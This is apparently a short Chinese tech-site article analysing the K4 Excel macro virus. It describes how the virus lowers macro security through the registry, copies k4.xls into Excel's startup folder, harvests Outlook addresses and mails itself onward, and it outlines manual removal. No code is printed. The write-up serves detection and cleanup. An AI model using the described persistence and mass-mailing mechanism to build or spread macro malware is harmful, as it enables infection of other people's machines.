宏病毒通过修改注册表,降低Excel的宏安全级别,使敏感代码获得运行权利。如果本宏病毒未能被执行,首次打开带毒.xls文件会提示“禁用宏,关闭。Please enable Macro”信息。

宏病毒被激活后会复制一个副本k4.xls到Excel的启动目录里:

C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART

保证个新建和打开的Excel文件都会自动附加一个k4带毒模块。实现本机感染。也就是说,如果这个目录下有一个该死的k4.xls,那说明你的机子中毒了。

带毒.xls文件在被激活时,会通过系列细腻的行为,在指定的时间里在后台收集Outlook里的用户地址,又在指定的时间里打包并把带毒文件通过Outlook发送到搜集到的邮件地址里,实现网络传播。

病毒有不少可以借鉴的地方,多处利用VBS代码进行文件操作,里面的代码写得不错,还用上了“正则表达式”,哇塞,偶一直想学埃

据冒死测试,该宏病毒在Win7 64环境下无法发挥作用,连k4模块都不能写入到Excel启动目录。可能和Win7的安全性有关。如果本机没有安装Outlook,这个宏病毒显得非常无趣。

网上什么K4专杀工具,利用Excel.Application其它或OLE技术删除带毒模块的思路貌似徒劳。一旦调用OpenFile函数,即激活了病毒,无法根除。

关于这个病毒的查毒,目前还是通过更新杀毒软件应该去搞定吧。

手动也可以,得一个一个打开感染的.xls文件,删除Thisworkbook里的代码,最后一步是删除Excel启动目录里的k4.xls文件。但明显这是件痛苦的事。

如果分析有误,欢迎批评指正。

[责任编辑:白海亮 bai_hailiang@cnw.com.cn]